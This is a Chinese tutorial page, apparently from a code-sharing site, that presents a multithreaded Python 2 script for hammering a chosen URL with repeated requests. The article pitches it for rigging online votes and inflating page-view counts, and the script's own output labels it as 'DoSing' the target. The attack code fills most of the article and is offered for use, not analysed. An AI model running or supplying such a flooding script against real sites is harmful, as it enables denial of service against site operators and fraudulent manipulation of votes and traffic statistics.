网络编程
位置:首页>> 网络编程>> Python编程>> python使用多线程不断刷新网页的方法

python使用多线程不断刷新网页的方法

作者:songguo  发布时间:2022-10-03 09:19:26 

标签:python,多线程,刷新

本文实例讲述了python使用多线程不断刷新网页的方法。分享给大家供大家参考。具体如下:

这段代码可以开通过个线程不断刷新指定的页面,可用于刷票,增加网页访问量等等,不用再去按F5了


import thread
import urllib2
import sys
import time
def usage():
 print 'Usage: python ' + sys.argv[0] + ' <url> <threads>'
 sys.exit()
def reloader(numthread):
 url = sys.argv[1]
 numreloads = 0
 while True:
   try:
     urllib2.urlopen(url)
     numreloads = numreloads + 1
   except KeyboardInterrupt:
     sys.exit('\nProcess aborted.')
def splash():
 print 'welcome to https://www.jb51.net/codes '
if len(sys.argv) < 3:
 usage()
if __name__ == '__main__':
 splash()
 print '[!] DoSing ' + sys.argv[1] + ' with ' + sys.argv[2] + ' threads.'
 for reloadspawn in range(0, int(sys.argv[2])):
   thread.start_new_thread(reloader, (reloadspawn,))
 sys.stdout.write('')
 dosind = ['-', '\\', '|', '/']
 dosstat = 0
 while True:
   try:
     sys.stdout.write('\r' + dosind[dosstat % 4] + ' DoSing...')
     sys.stdout.flush()
     dosstat = dosstat + 1
     time.sleep(0.25)
   except KeyboardInterrupt:
     sys.exit('\nProcess aborted.')

希望本文所述对大家的Python程序设计有所帮助。

0
投稿

猜你喜欢

  • 1 configparser安装pip3 install configparser2 configparser简介用来读取配置文件的pyth
  • 下列语句部分是Mssql语句,不可以在access中使用。SQL语句分类:DDL—数据定义语言(CREATE,ALTER,DROP,DECL
  • 一、类和对象通俗理解:类就是模板,对象就是通过模板创造出来的物体类(Class)由3个部分构成:类的名称: 类名类的属性: 一组数据类的方法
  • 要求,输入一串数字,并以列表的形式打印出来。number = input('请输入一串数字:') print(number)
  • 什么是浮动?浮动是 css 的定位属性。我们可以看一下印刷设计来了解它的起源和作用。印刷布局中,文本可以按照需要围绕图片。一般把这种方式称为
  • 最近写程序需要从文件中读取数据,并把读取的数据转换成向量。查阅资料之后找到了读取csv文件和txt文件两种方式,下面结合自己的实验过程,做简
  • 最近几天了解了一下人脸识别,应用场景可以是图片标注,商品图和广告图中有没有模特,有几个模特,模特的性别,年龄,颜值,表情等数据的挖掘。基础的
  • 当一张的数据达到几百万时,你查询一次所花的时间会变多,如果有联合查询的话,我想有可能会死在那儿了。分表的目的就在于此,减小数据库的负担,缩短
  •  我们可以先建立一个包含文件名,文件标题的待检索文件的数据库,然后,用ADO方式来访问它,并建立记录集对象。具体代码和说明见下:
  • 大家还好吗?背景就不用多说了吧?本来我是初四上班的,现在延长到2月10日了。这是我工作以来时间最长的一个假期了。可惜哪也去不了。待在家里,没
  • 快速掌握 Mysql数据库对文件操作的封装在查看Mysql对文件的操作中,它在不同的操作系统上对文件的操作,除了使用标准C运行库函数,包括o
  • 在学习tensorflow的过程中,有一个问题,tensorflow在训练的过程中读取的是二进制图像数据库文件,而不是图像文件,因此在进行训
  • 前言我们在日常文本处理中,经常会将数据结构保存在列表中,如果将列表中的项进行关联,创建我们想要的字典结构,存取就会十分方便!示例详解比如说将
  • 昨天给公司服务器重做了一下系统,遇到Asp附件无法上传,之前服务器上使用好好的,怎么重做了就不正常了,于是一番google,baidu,下面
  • 此篇文章整理新手编写代码常见的一些错误,有些错误是粗心的错误,但对于新手而已,会折腾很长时间才搞定,所以在此总结下我遇到的一些问题。希望帮助
  • 假如页面上有很多条记录,很多情况下,对这些信息按照字母表降序排序会比传统的升序排序显示效率更高。采用你熟悉的ORDER BY 子句,你可以很
  • “用户体验(User Experience,简称UX 或 UE)是一种纯主观的在用户使用一个产品(服务)的过程中建立起来的心理感受。因为它是
  • 一、k-近邻算法原理及API1.k-近邻算法原理如果一个样本在特征空间中的k个最相似(即特征空间中最邻近)的样本中的大多数属于某一个类别,则
  • 简介:图像二值化就是将图像上的像素点的灰度值设置为0或255,也就是将整个图像呈现出明显的黑白效果的过程。普通图像二值化代码如下:impor
  • 本文实例讲述了PHP引用的调用方法。分享给大家供大家参考,具体如下:示例1:function test($arr){} echo test(
手机版 网络编程 asp之家 www.aspxhome.com